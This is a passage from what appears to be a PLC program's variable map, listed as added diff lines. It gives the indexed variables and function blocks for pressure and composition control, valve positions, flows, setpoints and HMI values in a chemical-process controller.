+129;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +130;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +131;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +132;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;REAL; +133;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;REAL; +134;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;REAL; +135;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;REAL; +136;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0;SCALE_TO_SIGNED; +137;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.EN;BOOL; +138;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ENO;BOOL; +139;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT;UINT; +140;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT;INT; +141;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT;UINT; +142;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT;UINT; +143;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT;INT; +144;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;UINT; +145;VAR;CONFIG0.RES0.INSTANCE0.F1_FLOW;CONFIG0.RES0.INSTANCE0.F1_FLOW;UINT; +146;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;UINT; +147;VAR;CONFIG0.RES0.INSTANCE0.F2_FLOW;CONFIG0.RES0.INSTANCE0.F2_FLOW;UINT; +148;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;UINT; +149;VAR;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;UINT; +150;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;UINT; +151;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;UINT; +152;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE;UINT; +153;VAR;CONFIG0.RES0.INSTANCE0.LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL;UINT; +154;VAR;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;UINT; +155;VAR;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;UINT; +156;VAR;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;UINT; +157;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;UINT; +158;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;UINT; +159;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;UINT; +160;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;UINT; +161;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;UINT; +162;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;UINT; +163;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;UINT; +164;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;UINT; +165;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;PRESSURE_CONTROL; +166;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;BOOL; +167;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;BOOL; +168;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;REAL; +169;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;UINT; +170;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;REAL; +171;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;UINT; +172;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;UINT; +173;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;REAL; +174;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;REAL; +175;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;REAL; +176;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;UINT; +177;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;REAL; +178;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;REAL; +179;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;TIME; +180;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;SCALE_TO_REAL; +181;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;BOOL; +182;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;BOOL; +183;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;UINT; +184;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;REAL; +185;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;REAL; +186;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;REAL; +187;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;UINT; +188;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;UINT; +189;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;REAL; +190;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;REAL; +191;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;SCALE_TO_REAL; +192;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;BOOL; +193;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;BOOL; +194;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;UINT; +195;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;REAL; +196;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;REAL; +197;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;REAL; +198;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;UINT; +199;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;UINT; +200;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;REAL; +201;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;REAL; +202;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +203;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +204;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +205;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +206;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +207;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +208;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +209;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +210;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;REAL; +211;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;REAL; +212;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;REAL; +213;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;REAL; +214;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +215;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +216;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +217;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +218;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +219;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +220;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +221;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +222;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +223;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +224;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +225;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT;REAL; +226;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT;REAL; +227;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT;REAL; +228;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT;REAL; +229;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRESSURE;CONFIG0.RES0.INSTANCE0.HMI_PRESSURE;INT; +230;VAR;CONFIG0.RES0.INSTANCE0.HMI_LEVEL;CONFIG0.RES0.INSTANCE0.HMI_LEVEL;INT; +231;VAR;CONFIG0.RES0.INSTANCE0.HMI_F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_F1_VALVE_POS;INT; +232;VAR;CONFIG0.RES0.INSTANCE0.HMI_F1_FLOW;CONFIG0.RES0.INSTANCE0.HMI_F1_FLOW;INT; +233;VAR;CONFIG0.RES0.INSTANCE0.HMI_F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_F2_VALVE_POS;INT; +234;VAR;CONFIG0.RES0.INSTANCE0.HMI_F2_FLOW;CONFIG0.RES0.INSTANCE0.HMI_F2_FLOW;INT; +235;VAR;CONFIG0.RES0.INSTANCE0.HMI_PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_PURGE_VALVE_POS;INT; +236;VAR;CONFIG0.RES0.INSTANCE0.HMI_PURGE_FLOW;CONFIG0.RES0.INSTANCE0.HMI_PURGE_FLOW;INT; +237;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_VALVE_POS;INT; +238;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_FLOW;INT; +239;VAR;CONFIG0.RES0.INSTANCE0.SCAN_COUNT;CONFIG0.RES0.INSTANCE0.SCAN_COUNT;UINT; +240;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1;SCALE_TO_SIGNED; +241;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.EN;BOOL; +242;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.ENO;BOOL; +243;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.INPUT_UINT;UINT; +244;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.OUTPUT_INT;INT; +245;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.DIV3_OUT;UINT; +246;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.ABS8_OUT;UINT; +247;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.UINT_TO_INT9_OUT;INT; +248;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2;SCALE_TO_SIGNED; +249;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.EN;BOOL; +250;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.ENO;BOOL; +251;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.INPUT_UINT;UINT; +252;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.OUTPUT_INT;INT; +253;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.DIV3_OUT;UINT; +254;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.ABS8_OUT;UINT; +255;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.UINT_TO_INT9_OUT;INT; +256;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3;SCALE_TO_SIGNED; +257;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.EN;BOOL; +258;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.ENO;BOOL; +259;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.INPUT_UINT;UINT; +260;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.OUTPUT_INT;INT; +261;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.DIV3_OUT;UINT; +262;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.ABS8_OUT;UINT; +263;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.UINT_TO_INT9_OUT;INT; +264;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4;SCALE_TO_SIGNED; +265;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.EN;BOOL; +266;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.ENO;BOOL; +267;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.INPUT_UINT;UINT; +268;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.OUTPUT_INT;INT; +269;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.DIV3_OUT;UINT; +270;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.ABS8_OUT;UINT; +271;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.UINT_TO_INT9_OUT;INT; +272;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5;SCALE_TO_SIGNED; +273;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.EN;BOOL; +274;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.ENO;BOOL; +275;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.INPUT_UINT;UINT; +276;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.OUTPUT_INT;INT; +277;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.DIV3_OUT;UINT; +278;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.ABS8_OUT;UINT; +279;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.UINT_TO_INT9_OUT;INT; +280;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6;SCALE_TO_SIGNED; +281;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.EN;BOOL; +282;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.ENO;BOOL; +283;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.INPUT_UINT;UINT; 